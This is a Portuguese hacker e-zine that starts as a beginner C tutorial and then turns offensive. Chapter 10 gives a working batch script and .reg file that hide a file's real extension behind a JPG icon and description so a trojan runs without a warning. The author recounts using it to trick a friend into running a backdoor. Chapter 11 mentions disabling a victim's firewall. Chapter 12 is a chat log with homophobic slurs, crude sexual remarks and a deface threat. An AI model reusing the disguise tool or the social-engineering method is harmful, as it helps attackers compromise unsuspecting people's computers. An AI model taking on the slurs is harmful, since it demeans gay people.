[========XX=XX========]

Nos ja vimos tres tipos que são:

int -- > Determina que uma variavel vai receber valores inteiros (numeros =).
char -- > Determina que uma variavel vai receber strings (texto).
void -- > Tipo que possibilita a criação de funções que não retornam nada
e também possibilida a criação de funções sem parametro.

Mas está fautando mais um aí, que é o:

float -- > Determina que uma variavel que foi declarada com esse tipo vai armazenar
numeros que possuem casas decimais, como: '10.55'. Exemplo:

-------- cut --------
#include <stdio.h>

void main (void){
float variavelx=10.55;

 
printf ("O valor da variavel 'variavelx' e: %f", variavelx);}

-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>sinc
O valor da variavel 'variavelx' e: 10.550000

Para lermos valores do tipo float (ponto flutuante) utilizamos o '%f' (olha
só que original =). Gente, o 'C' não tem misterio nenhum. Amigos bgners,
espero que voces tenham entendido bem esse esquema básico de tipos,
não vou falar do tipo double porque o foco aqui é sobre os tipos básicos,
se bem que o double ainda está na lista de tipos basicos do C, mas vo parar
por aqui, na proxima edição da C.O.D.E eu prometo =)


[==[]======XXx=xXX======[]==]
Diferentes formas de leitura
[==[]======XXx=xXX======[]==]

Nos ja aprendemos como funciona o processo de leitura basico de valores
de alguns tipos, que são:

%d -- > Inteiro
%c -- > Um unico caractere
%f -- > Float
%s -- > string

Agora vamos ver como é interesante e IMPORTANTE aprender bem esse
negocio de tipos em C ;-) Olhem que legal:

-------- cut --------
#include <stdio.h>

main (void){
printf ("Eu amo a %c%c%c%c%c%c%c", 'L', 'u', 'z', 'i', 'n', 'h', 'a');
printf ("\n\nEstou um passo a frente de voces %s", "Trouxas!!!!");
printf ("\n\nNinguem pode com meu grupo - Viper Corp %d%d%d", 6, 6, 6);
printf ("\n\nSo pra constar um float ai: %f\n", 10.88);}


-------- cut --------

Resultado:

========================================
C:\Documents and Settings\David\Desktop>satan_emperial
Eu amo a Luzinha

Estou um passo a frente de voces Trouxas!!!!

Ninguem pode com meu grupo - Viper Corp 666

So pra constar um float ai: 10.880000
========================================

Explicações:

O que determina 'um caractere' é o apostrofo (' ') seguido do caractere,
exemplo: --> 'A'. Então se eu quiZer ler uma determinada letra eu faço isso:

printf ("Me chamo %c %c %c %c %c", 'D', 'a', 'v', 'i', 'd');

Lembram que o %c é usado para imprimir apenas uma letra? Então...

Resultado:

C:\Documents and Settings\David\Desktop>satan_emperial
Me chamo D a v i d < -- O espaço entre as letras que da o charme rsrs

printf ("Me chamo %c%c%c%c%c", 'D', 'a', 'v', 'i', 'd');
C:\Documents and Settings\David\Desktop>satan_emperial
Me chamo David < -- Juntinho baby =) Proximo!

O que é que caracteriza um valor inteiro mesmo? Hum... Lembram? Numeros!!!

Exemplo:

printf ("\n\nNinguem pode com meu grupo - Viper Corp %d %d %d", 6, 6, 6);

Repara que para cada '%d' que eu insiro dentro das aspas, também coloco
um valor equivalente a este tipo depois das aspas, assim o printf faz a
leitura deboa ;] Proximo!

O que caracteriza um valor do tipo char (string) mesmo? As "" - aspas :]

Então:

printf ("\n\nEstou um passo a frente de voces %s", "Trouxas!!!!");

E assim vai....

[===========XX=XX===========]
Constantes de barra invertida
[===========XX=XX===========]

As vezes exibir apenas letras na tela não é o limite hauhauh!!! Zuera,
to zuando, calma. Acho que to relaxando d+ hauahu!! Queria ficar
serio o curso todo, mas não da -.- uhauhauha!!!

Como todos sabemos a função printf exibe mensagens na tela, ela
funciona como o comando echo no DOS, ou seja,

echo mensagem
printf ("mensagem");

Mas prestem atenção nas aspas ai em cima, hum.... sacou? caso
voce queira usar aspas para destacar uma mensagem "dentro de
uma string"
(sequencia de texto) usando um metodo aparentemente
obvio, ia da erro, exemplo:

Não da:

printf ("Eu quero destacar "essa palavra" ");

Para isso foram criadas as constantes de barra invertida ;]

Abaixo estão "algumas" delas:

xxxxx=====xxxxxxxxx=====xxxxx====xxxxx=====xxxx==
\" -- > Coloca aspas dentro da string
\' -- > Coloca apóstrofo dentro da string
\a -- > Da um beep (da uma piada) -> isso é legal rsrs
\n -- > New line (nova linha) - > Pula uma linha
\0 -- > Terminador nulo
\\ -- > Inseri uma unica contra barra ('\') dentro da string
xxxxx=====xxxxxxxxx=====xxxxx====xxxxx=====xxxx==

Vamos aos exemplos

[=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=]

-------- cut --------
#include <stdio.h>

main (void){
printf ("
Eu quero destacar \"essa palavra\"");
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>Sinck_Destroyer
Eu quero destacar "
essa palavra"

[=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=]

-------- cut --------
#include <stdio.h>

main (void){
printf ("
Eu\nAmo\nA\nLuzinha invaders ;]");
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>Sinck_Destroyer
Eu
Amo
A
Luzinha invaders ;]

[=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=]

-------- cut --------
#include <stdio.h>

main (void){
printf ("
Pi!\a Pi!!\a Pi!!!\a Huahuahuah");
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>Sinck.exe
Pi! Pi!! Pi!!! Huahuahuah

[=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=]
Piadinha sem graça -.-
Huahuahuahuah!!!

-------- cut --------
#include <stdio.h>

main (void){
printf ("
\n\nEu queria ter nascido em 20\\07\\1950 \
para ter 16 anos em 20\\07\\1965,\no auge da rebeldia.\n\n");
}

-------- cut --------

Resultado hauhau!!!:

C:\Documents and Settings\David>desktop\Untitled1


Eu queria ter nascido em 20\07\1950 para ter 16 anos em 20\07\1965,
o auge da rebeldia.


Foi mal, mal, tava sem imaginação rsrsrs, pra quem não entendeu a piada
eu quiz mostrar a data, exemplo: 06/03/2008. Entendeu? rsrs Muito legal.

E por ai vai.....

Ei ei ei, para imprimir um sinal de percento na tela com o printf, use dois
sinais de percento para representar 'um', exemplo:

-------- cut --------
#include <stdio.h>

main (void){
printf ("
Estou vendendo meu adaptador \
wireless 802.11b/g com 50%% de desconto avista");
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>Bru
Estou vendendo meu adaptador wireless 802.11b/g com 50% de desconto avista

[===xXx=====XX=XX======xXx===]
Um pouco mais de variaveis
[===xXx=====XX=XX======xXx===]

Abaixo vai um pouco sobre declarações de variaveis para voces irem se ligando
na proxima edição da C.O.D.E =) Nem vou comentar muito porque o font do
code ja ta bem comentado eheh, na proxima edição eu vou explicar melhor, mas
por hora isso ja pode ajudar voces amigos ;)

--- variavel.c ---
#include <stdio.h>
#include <stdlib.h>

int global; // <-- Variavel global, todas as funções a enchergam

int func (int variavel_de_lista_de_parametros){ /*Também podemos declarar
variaveis na lista de parametros de uma função, apesar deste tipo de variavel
receber valores externos, ela é utilizada apenas no bloco de codigo da função
em que foi declarada (na lista de parametros =).*/

printf ("
O valor da variavel global e -> %d\n", global);
printf ("
Eu disse: %d =)\n", global);
printf ("
O valor da variavel_de_lista_de_parametros \
eh ->%d<-\n", variavel_de_lista_de_parametros); }

int main (void){
system ("
cls");
int var_local=0; /* <-- Variavel local, só é utilizada E VISTA
no bloco de codigo da função em que foi declarada */

puts ("
Contagem:\n");
for (var_local;var_local<10;var_local += 1){

int variavel_de_bloco=var_local; /* <-- Variavel de bloco ->'for'<-, só é vista
e UTILIZADA dentro do bloco de codigo 'for' em que foi declarada */

printf ("
numero [%d]\n", variavel_de_bloco);}

printf ("
\nDigite um numero:");
scanf ("
%d", &global);
func (10);

/*
printf ("
%d", variavel_de_bloco);
Se voce tentar chamar uma variavel de bloco 'for' aqui, verá uma msg
como essa: C:\variavel.c `variavel_de_bloco' undeclared
(first use in this function)
*/

printf ("
E o valor da variavel local de main (var_local) eh %d\n", var_local);
system ("
pause");
return (0);
}

--- cut ---

[========XX=XX========]
Encerramento da parte 3
[========XX=XX========]

Nos proximos episodios de sua emocionante serie: O cuso de C. Iremos ver neste mesmo
horario neste mesmo canal os seguintes temas:

< -- O TIPO DOUBLE - O retorno dos androides -.0 -- >
< -- Só conto na proxima edição 0.= -- >
< -- Só conto na proxima edição =.= -- >

Voces devem ter percebido a existencia de uma 'contra barra' (\) em alguns exemplos, e
muitos que estão lendo a terceira parte do curso de C devem estar curiosos para saber
do que essa tal barra se trata, simples:

printf ("
A contra barra serve para evitar a escrita de um texto muito grande em uma unica linha");

Entenderam? Ou seja, para evitar isso utilize a contra barra. Exemplo:

-------- cut --------
#include <stdio.h>

int main (void){
char mylove[8]="
Luzinha";
printf ("
\n\nSou feliz, feliz porque estou apaixonado, feliz porque amo e \
sou correspondido, me sinto bem ao lado dela, me sinto bem porque \
sempre que estou ao lado dela sorrio como um menino e sou mimado \
como um bebe. Sou um homem feliz porque sei que o coracao dela e' meu \
e ela sabe que meu coracao e' e sempre sera dela. Te amo %s.\n\n", mylove);
return (0);}

-------- cut --------

O G++ não gosta do void

Ops, ia esquecendo ^^. Gostaria de recomendar um ótimo compilador para
windows chamado Dev-C++, quando voce clica em new -> source file, o
Dev vai criar um arquivo .cpp em branco para voce escrever os codigos, a
extensão 'cpp' quer SUPOSTAMENTE dizer que aquele font foi feito em
C++, mas voce pode escrever seus codigos em C tranquilamente em arquivos
com essa extensão e compila-los, o problema vem agora, tipo assim, compile
este font aqui (dentro de um arquivo cpp):

---- Untitled1.cpp ----------

#include <stdio.h>

void main (void){
printf ("
Deu Pau!!!");
}
-------- cut --------

Não vou conseguir compilar ele porque se o arquivo estiver com extensão
.cpp não é permitida 'a não especificação do int' de forma alguma, ou seja,
ele te obriga a colocar o int antes de main retornando essa mensagem:

3 C:\Documents and Settings\David\Desktop\Untitled1.cpp `main' must return `int'

Ele ta dizendo que o main tem que retornar um inteiro (int), o Dev é uma
especie de interface bonitinha para o gcc e para o g++, compiladores C e C++
respectivamente, na verdade é o g++ que não permite que a função retorne void,

Veja os logs:

Compiler: Default compiler
Executing g++.exe...
g++.exe "
C:\Documents and Settings\David\Desktop\Untitled1.cpp" -o "C:\Documents
and Settings\David\Desktop\Untitled1.exe" -g3 -I "C:\Dev-Cpp\lib\gcc\mingw32\3.4.2
\include" -I"C:\Dev-Cpp\include\c++\3.4.2\backward" -I"C:\Dev-Cpp\include\c++\3.4.2\
mingw32" -I"C:\Dev-Cpp\include\c++\3.4.2" -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib"
-l wsock32 -g3 C:\Documents and Settings\David\Desktop\Untitled1.cpp:3: error: `main'
must return `int' Execution terminated

Ja que o Dev identifica qual compilador usar, se baseando pela extensão dos arquivos, e
já que sabemos que o tal do g++ não permite que a função principal retorne void, basta
usarmos outro compilador =] Como? Sempre escreva seus CODEs em arquivos com a
extensão '.c', assim o Dev vai utilizar o gcc para compila-lo, com o gcc é apenas exibida
uma mensagenzinha que eu ja falei anteriormente e pronto, mas o importante é que ele
compila =) Isso ja atrasou a vida de muitos amigos meus, por isso estou falando, para
que isso não aconteça com voce, fazendo voce desistir de estudar 'C' só porque não
conseguiu compilar um code. Faça um teste:

---- Untitled1.c ----------
#include <stdio.h>

void main (void){
printf ("
Agora foi!!! =]"); // <-- Repara na string de controle =)
}

------- cut -------

Logs:

Compiler: Default compiler
Executing gcc.exe...
gcc.exe "
C:\Documents and Settings\David\Desktop\Untitled1.c" -o "C:\Documents
and Settings\David\Desktop\Untitled1.exe" -g3 -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib"
-l wsock32 -g3 C:\Documents and Settings\David\Desktop\Untitled1.c: In function `main':
C:\Documents and Settings\David\Desktop\Untitled1.c:3: warning: return type of 'main' is
not `int'
Execution terminated
Compilation successful < -- Sucesso!!!


Vale te lembrar amigo bgner que 90% do's' "
error" de um iniciante DEDICADO é na escrita
do code e não pela fauta de conhecimento por parte dele. Vou explicar melhor, tipo, um
bgner sabe que para declarar uma string é necessario usar aspas, mesmo sabendo ele não
viu que esqueceu, ou seja, Erro! Outro erro bastante comum é a declaração de valores
que não são suportados por determinados tipos, assim ocazionando erros. Espero que
tenham gostado de mais uma parte do curso e gostaria de estar dedicando a terceira parte
do curso de C ao meu amor, Patricia.

Aguardem a 4ª Parte na C.O.D.E x03
by 6_Bl4ck9_f0x6
Viper Corp Group [s]


----- C4p1Tul0 10


[+] X==XX===========XXX===========XXX===X +]
File Extension Manipulation
[+] X===========XXX=============XXX======X+]

Olá!! Esse code ai é pro pessoal que gosta de uma operação sabotagem, tipo assim,
isso ai é bom pra pegar aquele povo que gosta de reparar em extensão ^^. Pessoal,
voces podem fazer ele em .reg e mandar pra vitima ^^. Voces sabem aqueles joguinhos
que para se crackear precisamos utilizar pequenos .reg? Um exemplo é o Age of Empires
1 e tantos outros por ai, esses .reg são usados para aumentar a velocidade do jogo e
tals, dai fica mais facil, basta mandar o jogo pra vitima e mandar ela crackear isso
da menos na telha, vamos pensar com malicia agora. Voces muito provavelmente devem
conhecer manipulação binaria em rtf e tals, mas o mais interesante disso é que quando
a vitima executa qualquer arquivo 'conhecido como perigo' pelo windows, ele avisa e
tals, mas se a vitima tiver executado o .reg ou voce mesmo utilizou esse script que
escrevi em batch ANTES no sistema dela, voce pode mandar arquivos binarios e tudo
mais que não vai aparecer mensagem nenhuma avisando que aquele arquivo é do mal e
tals eheh. Para cada tipo de extensão CONHECIDA é exibida uma mensagem diferente,
ou seja, ja que seu trojan OU VIRUS vai estar com uma extensão totalmente escabroZa
nem se preocupe cara, pois como eu ja falei:

Nada de mensagem!!!

Reparei isso porque as mensagem mudavam quando se executava diferentes extensões
no rtf, dai o que eu pensei? Putz, as mensagens aparecem por causa da extensão
OBVIO!!! Quando fui testar uma extensao no rtf com aplicativo "
logo depois
de ter usado o F.E.M", adivinha o que aconteceu, nada de msg, ou seja, Bingo!!!
Dai resolvi brincar um pouco com isso, mandei o Age para um amiga e foi muito legal,
disse:

David diz:
Nanda, tai um joguinho legal.
Link: Http://....
Fernanda diz:
Opa, eu tenho o 2, mas naum o 1.
David diz:
Crackeia ele ai, speed e tudo mais
Fernanda diz:
Quanto terminar de baixar eu faço.

Algum tempo depois....

David diz:
Nanda, olha o que eu escrevi proce

Era um arquivo escrito algo mais ou menos assim rsrs:

[]==============================================[]
O Nanda, minha amada amiga, estava eu aqui sem
fazer nada e resolvi escrever um texto proce, ta
ai em baixo:

notepad.txt < -- Olha a malandragem aqui +
|
(com icone e tudo mais ^^) < ---- +
[]==============================================[]

Na verdade o que eu mandei era um arquivo com extensao .fox rsrs
Ela executou o file e catapimba!!! Não deu outra, minha backdoor
rodando e meu clinte conectando rsrsr. Antes tinha bindeado a backdoor
com um arquivo de texto escrito um monte de besteira, tipo, piadas!!!
rsrs. As utilidades deste script podem ser interminaveis, obvio que voce
tem que pensar como um fuçador, pensar com malicia amigo, não estou
falando para voces ser malicioso com todos e com tudo, pois a intenção
aqui não é tirar sua inocencia, mas garanto que um pouco de malicia
"
NO NOSSO RAMO" nos traz bons frutos e também nos evita uma
bela de uma dor de cabeça, pois existem engenheiros sociai's d+ no
mundo, pensando com malicia sua imaginação vai pipocar em seu
cerebro, sempre...

------ F. E. M - v2.0.bat ------

@echo off & color c
REM Para inserir icones predefinidos no seu trojan basta inserir e modificar essa linha:
REM reg add HKEY_CLASSES_ROOT\Master\DefaultIcon /ve /t REG_SZ /d "
shell32.dll,67" /f
ReM shimgvw.dll,3 = Imagem em JPG
ReM
title Esquadrao da tortura - Viper Corp
:Pergunta
ECHO ################################
ECHO F. E. M. v2.0 &echo.
ECHO BY
ECHO 6_Bl4ck9_f0x6 & echo.
ECHO -X-x-X Corporacao Vibora X-x-X-
ECHO ################################ & echo.
ECHO ============================
ECHO + Viper Corp +
ECHO For you Bru??
ECHO ============================ & echo.
set reader=y & set reader2=n
set /p escolha=Quer continuar? y/n
if /I %escolha% EQU %reader% (
GOTO :Starting)
if /I %escolha% EQU %reader2% (
GOTO :Adeus)
IF %ERRORLEVEL% NEQ %reader% GOTO :Sinck
IF %ERRORLEVEL% NEQ %reader2% GOTO :Sinck

:Starting
echo. & pause & cls
echo 6_Bl4ck9_f0x6 diz: &echo. & echo Preencha os dados abaixo & echo.
set /p extensao=Digite a extensao que seu trojan ou virus tera - [Exemplo, fox]:
ASSOC .%extensao%=Master
echo Ext: .%extensao% >> Extensoes.log
echo Extensao .%extensao% OK!
echo. & pause & cls
echo Associando descricao de imagem JPG a sua extensao...
reg add HKEY_CLASSES_ROOT\Master /ve /t REG_SZ /d "
Imagem no formato JPG" /f
echo.
echo Associando valor sequencial para extensao fantasma a sua extensao...
reg add HKEY_CLASSES_ROOT\Master /v NeverShowExt /t REG_SZ /f
echo.
echo Associando icone de imagem JPG a sua extensao...
reg add HKEY_CLASSES_ROOT\Master\DefaultIcon /ve /t REG_SZ /d "
shimgvw.dll,3" /f
echo.
echo Transformando sua extensao em aplicativo...
reg add HKEY_CLASSES_ROOT\Master\shell\open\command /ve /t REG_SZ /d "
\"%%1\" %%*" /f
echo. & pause
:Adeus
cls &echo.
echo 6_Bl4ck9_f0x6 diz: &echo. & echo Obrigado por estar usando o F.E.M amigo =) & echo.
pause & exit
:Sinck
msg * Desculpe %username% a opcao '%escolha%' e invalida & pause
cls & goto :Pergunta

------ Corte aqui ------

Desenvolvi um esquema de backup de extensões que voce cria, tipo assim,
o F.E.M cria a extensao, adiciona icone de JPG a ela, adiciona descrição de
JPG a sua extensao, oculta a real extensao de seus virus e trojans e ainda cria
um arquivozinho onde fica logado todas as extensões que voce criou =) Meu
script é bastante eficiente amigos ;] Vamos agora a um exemplo de utilização.

Seu trojan se chama - > trojan.exe

Mude a extensão 'exe' para a extensão que voce criou, nomeando o arquivo
assim:

trojan.JPG.fox

Nesse caso a extensão 'fox' vai desaparecer e o nome do arquivo vai estar
parecendo a extensão (trojan.JPG =). Lembrando que mesmo voce configurando
o windows para visualizar extensões dos arquivos, a sua extensão não vai ser
exibida de forma alguma.

Ta ae o .reg

------ F. E. M - v1.0.reg ------

Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\.Sinck]
@="
Master"
[HKEY_CLASSES_ROOT\Master]
@="
Imagem no formato JPG"
"
NeverShowExt"=""
[HKEY_CLASSES_ROOT\Master\DefaultIcon]
@="
shimgvw.dll,3"
[HKEY_CLASSES_ROOT\Master\shell]
[HKEY_CLASSES_ROOT\Master\shell\open]
[HKEY_CLASSES_ROOT\Master\shell\open\command]
@="
\"%1\" %*"

------ Cut here ------


Boa sorte amigo ;-)


[s]


----- C4p1Tul0 11


[=] + =======xx==============xx=========== + [=]
+++ . Telnet Secure . +++
by
6_Bl4ck9_f0x6
[=] + =======xx=============xx============ + [=]

Hi! Vamos supor que por algum motivo voces precisam abrir a porta
telnet do seu desgraçado windows, tabom tabom, é uma possibilidade
muito remota, mas.... Ainda sim existe (nem Deus disse: dessa agua não
bebereis... ou algo assim). Vamos mais alem, tipo assim, voces fizeram
uma operação sabotagem no sistema do maluco e tudo mais, mataram
o firewall do XP (net stop sharedaccess) e a porta ta lá abertinha só
esperando alguém entrar (hum...), mas voce não quer que ninguem mais
entre, o que voce faz? Voce muda a porta padrão para tentar
DIFICULTAR a identificação do serviço, mas o cara usa um scan
e pega o service em ou porta, o que que voce faz? Desabilita o telnet?
Não, voce usa meu script baby =)

notepad \WINDOWS\system32\login.cmd -- > Abre ele

---- login.cmd ----

@echo off
rem
rem Script de login global padrao para Telnet Server
rem
rem Na instala‡ao padrao, este script de comandos ‚ executado
rem quando o shell de comandos inicial ‚ chamado. Ele tenta
rem entao chamar o script de logon do usu rio individual.
rem
rem set password=luzinha &ReM <-- Defina a senha aqui gente boa
rem
title Login Duplo v1.0 by 6_Bl4ck9_f0x6 & color a
set password=luzinha
:Star
cls
ECHO [FOX]=----------x----------x----------=[FOX] & ECHO.
ECHO --X---- Login Duplo v1.0 ---x--
ECHO +BY+
ECHO 6_Bl4ck9_f0x6 & ECHO.
ECHO +X+ I love luz* +X+
ECHO [FOX]=----------x----------x----------=[FOX]
ECHO.
set /p senha=Digite sua senha:
if /I "
%senha%" EQU "%password%" (goto start) else (goto Err)
:Err
msg * '%username%' a senha '%senha%' esta incorreta! Tente novamente & cls & goto Star
:Start
cls
ECHO ==========X==========X==========X==========
ECHO x PRONTO x
ECHO ==========X==========X==========X==========
pause & cls
echo *===============================================================
echo Bem-vindo a Black Machine e tenha cuidado com o que faz
echo *===============================================================

---- cut here ----

Se quizerem, poderão inserir um esquema do login case e tudo mais eheh,
basta tirar o /I da frente do comando mais manjado do mundo para controle
de fluxo --> IF.

O bom disso é que no momento que os caras tão tentando descobrir a senha,
voce ta vendo as senhas que eles tão usando, 'em tempo real', isso ai é bom
pra voce saber se o cara sabe o nome de sua namorada ou esposa rsrs ;-)

Simples =).

Adios main freuds ;]

by 6_Bl4ck9_f0x6


[s]


----- C4p1Tul0 12


XxXxX============================XxXxX
O Banimento nunca existiu XP
XxXxX============================XxXxX


Nota: 00:16 27/3/2010 Naao Briinque Coom um meestre


PNWell. Bem, o moleque deve ter 18 anos agora, deve ta bem hackao ou desistido
das coisas. Aqui eh o mesmo lance, to usando o ( para as coias que editei
hoje ;)




Starting....


[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 está na conversa.

David diz:
diz pro cloudy que tu num baniu ele
David diz:
diz (*****)
David diz:
ele ta achando agora
David diz:
eu tambem achava
[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
O (*****) me baniu
[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
(*****)*
David diz:
?
David diz:
serio?
David diz:
e verdade (*****)?

Você acabou de pedir a atenção.

(*****) ¬¬ diz:
nao
David diz:
o cloudy ta ficando doido (<--- Olha o jeitinho de bicha)
David diz:
lol
David diz:
da a senha do cara agora
David diz:
sacanagem isso ae
David diz:
http://www.hunterhacker.xpg.com.br/F.E.M.rar (<-- Esse da vergonha, pega a senha lah na page)
David diz:
lol
David diz:
cloudy
David diz:
trata de baixar meu video ae
David diz:
rsrsrs
[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
Aliás
[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
Eu tenho que falar com o (Viadinho)
[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
Ele disse que quer excluir meus "
fakes" (HadeS, Fear e Amilly)
David diz:
filho da puta (<-- Repara na bichinha)
[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
E disse que nao tem como passar os posts pro Cloudy ¬¬
(*****) ¬¬ diz:
fdp nada, fakes nao pode
David diz:
ele num tem o direito de fazer isso com meu amiguinho pokemon (<-- Nao tira o olho da bicha)
David diz:
rsrsrsrs
(*****) ¬¬ diz:
bloqueamos o cloudy pq vc empresto a conta pro david (<-- Naquele tempo eu me achei por causa disso)
[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
Eu sei
David diz:
aff (<-- Acredito, tava quase chorando de emocao)
David diz:
ei galera
(*****) ¬¬ diz:
entao
David diz:
vamos falar da......
David diz:
LUZINHA?
David diz:
hauhaua
David diz:
estou apaixonado (<--- Verdade neh Luh, lembra que mentia pra kralho?)
David diz:
rsrsrs
David diz:
da o canto devolta pra ele (*****) (<-- Se nao David mandar deface)
(*****) ¬¬ diz:
envez de excluir seus fakes, só bloquear eles e deixar o cloudy livre resolve
David diz:
yes (<-- Doido pra publicar os logs)
David diz:
pelo menos isso
[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
Por mim pode excluir
[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
Mas passa os posts pro user Cloudy
David diz:
eu quero meu login outra vez no (blackhat-forums.com) ehhe, quero meu perfil
David diz:
rsrsrs
(*****) ¬¬ diz:
eu vou ver
David diz:
to com saudade do ***
David diz:
rsrsrsrrs
David diz:
amo aquele gato loco
David diz:
hauahuaha
(*****) ¬¬ diz:
saudade do rog pq se ele ta no invaders tbm ? (<-- M)
David diz:
la ele num reaje
David diz:
rsrsrs
David diz:
xingo ele e nada
David diz:
desistir
David diz:
rsrsrs
David diz:
Ei cloudy
David diz:
baixou o video porra!!! (<--- Bicha?)
David diz:
rsrsrs

Você acabou de pedir a atenção.

[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
Pera ai
(*****) ¬¬ diz:
cloudy fica velho dia 7 de fevereiro
(*****) ¬¬ diz:
q meigo
David diz:
rsrsrs
(*****) ¬¬ diz:
:]
David diz:
vou postar isso na zine
David diz:
ei ei ei
[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
É cara...
David diz:
vou publicar nossa conversa
David diz:
hauhauhha
[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
16 anos nas costas (<-- Desculpe, nao vou fazer contas)
(*****) ¬¬ diz:
quantos anos kra?
David diz:
vai ser legal
David diz:
hauhauha
(*****) ¬¬ diz:
só..
David diz:
so
David diz:
num sabia naum (*****)?
[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
Graças a deus
David diz:
seu melhor usuario (<-- )
David diz:
hauhauhauha
(*****) ¬¬ diz:
affzzz
(*****) ¬¬ diz:
cada boca
David diz:
EI cloudy
David diz:
1 MB porra!!
David diz:
huahuahuha (<-- Tenho nojo dessa risadinha hoje)
(*****) ¬¬ diz:
eu sei a idade dele..
(*****) ¬¬ diz:
ele disse nas costas
(*****) ¬¬ diz:
eu disse só
David diz:
Ei (*****)
David diz:
num ferra
(*****) ¬¬ diz:
pq tenho mto mais nas costas (<--- Isso eh verdade)
(*****) ¬¬ diz:
uhauhauahauhahuaaa
David diz:
Num foi voce que deu uma trepadinha
David diz:
Huahuahuaha
David diz:
a mina ta me chamando (<-- Tava na lan house lah em Quixada. Lembra da foto do perfil? ;)
David diz:
hauhauhah
(*****) ¬¬ diz:
uhauhauhauhUHAa
(*****) ¬¬ diz:
vai la
David diz:
galera
David diz:
vou publicar nossa conversa
David diz:
rsrsr
David diz:
pra mostrar que eu estava enganado com relacao ao banimento do cloudy
(*****) ¬¬ diz:
nem...
David diz:
fui...
David diz:
tenho uma pepitinha pra traçar
(*****) ¬¬ diz:
nem publique
David diz:
Ei cloudy
David diz:
cloudy

Você acabou de pedir a atenção.

David diz:
Cloudy!!!!!!!!!!!! (Nao vou retirar isso aqui, eh pra voce aprender)3.
[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
Diga
David diz:
vou indo e meus parabens ae, que deus lhe de muitas invasoes (<-- E o pior eh que era soh farca, verdade =)
David diz:
hauhauhauh
David diz:
Deus
David diz:
hauhauha
David diz:
sacou?
[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
Hauhauhauhuahuahauhauha
David diz:
hauhauhauha
David diz:
Ei galera
David diz:
voces sabia que agora meu idolo e o BSDaemon?
David diz:
hauhuah
David diz:
decidi que vou ser melhor que ele Huahuahauh daqui a 10 anos eu consigo
David diz:
hauhauha
David diz:
xau pessoal
[b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz:
Xauzin
(*****) ¬¬ diz:
adios..

Isso é o que eu chamo de uma BELA CAGADA!!! Não façam como eu fiz,
não tirem conclusões precipitadas antes de analisar os fatos, caso contrario voce
pode acabar como eu XP rsrs (Corno, fudido e sem minha mae).


----- C4p1Tul0 13


xXx=============================xXx
Emperial Encripter
xXx=============================xXx


Eu sei o que vc's devem estar pensando. Tipo -> Esse maluco eh o maior sem
imaginação, maluco vive botando nome de emperial num sei oq, enperial num
sei das quantas, e tals. Mas eu não ligo para vc's :P. Enfim, os CODE's sao
meus e por isso faz isso:

-> Vaum ToMaR no cuh <-


Esse algoritimo de criptografia eh baseado no mesmo algoritimo de Julio Cezar
do emperio Romano, tipo, para enviar mensagens para a galera ele
usava o método de subistituição, ou seja, um cripto-analista teria serios
problemas caso ele ainda não tivesse conseguido textos decriptados =) O que?
Nao sabe do que eu estou falando? Tipo, eu quiz dizer que é criptografia da boa!

=====================================
Descriptografem essa mensagem:

y[~ k) +E )A ;=~[ "
79[ :=;;[U 5#
=====================================

Agora vamos aos algoritimos como dizem os universitarios cheios de espirito
hacku :P Ei ei ei, nao revisei o code naum galera, achu que quando eu usava
alguns smiles dava pal, dae fiquei de sacu cheio de codar o cript e num testei
mais naum, mas as letras ta deboa =)

Pelo visto achu que vou ter que deixar algumas letras originais mesmo, por
questões de compatibilidade e tals, mas não se preocupem, basta deixar as
mensagens decriptadas longe das encriptadas por causa dos potentes -> S's

-> Cripto-Analista <- ;)

OBS: S's vem de Sangue sugas da porra!! :P

No code do encript tem um bug de stack overflow...XP Usei o gets e tals, pois
quem diabos vai perder tempo exploitando um bug num file desses? Afz hauhauh!!
Mas tem doido pra tudo né.... :P


------ Emp_Encript.c ------


/* [XxX -> x]+===x==X==x===x+[x <- XxX]
* *** Viper Corp ***
* -> Obrigado a todos <-
* [x <-> XxX]+===x==X==x===x+[XxX <-> x]
*
* Emperial Encripter [Emp_Encript.c] v0.1
* by
* 6_Bl4ck9_f0x6
*
*
* Atenção: Esta é a ferramenta 'encriptadora', para
* 'decriptar' voce precisa do -> Emp_Dcript.c <-- que
* pode ser obtido em:
*
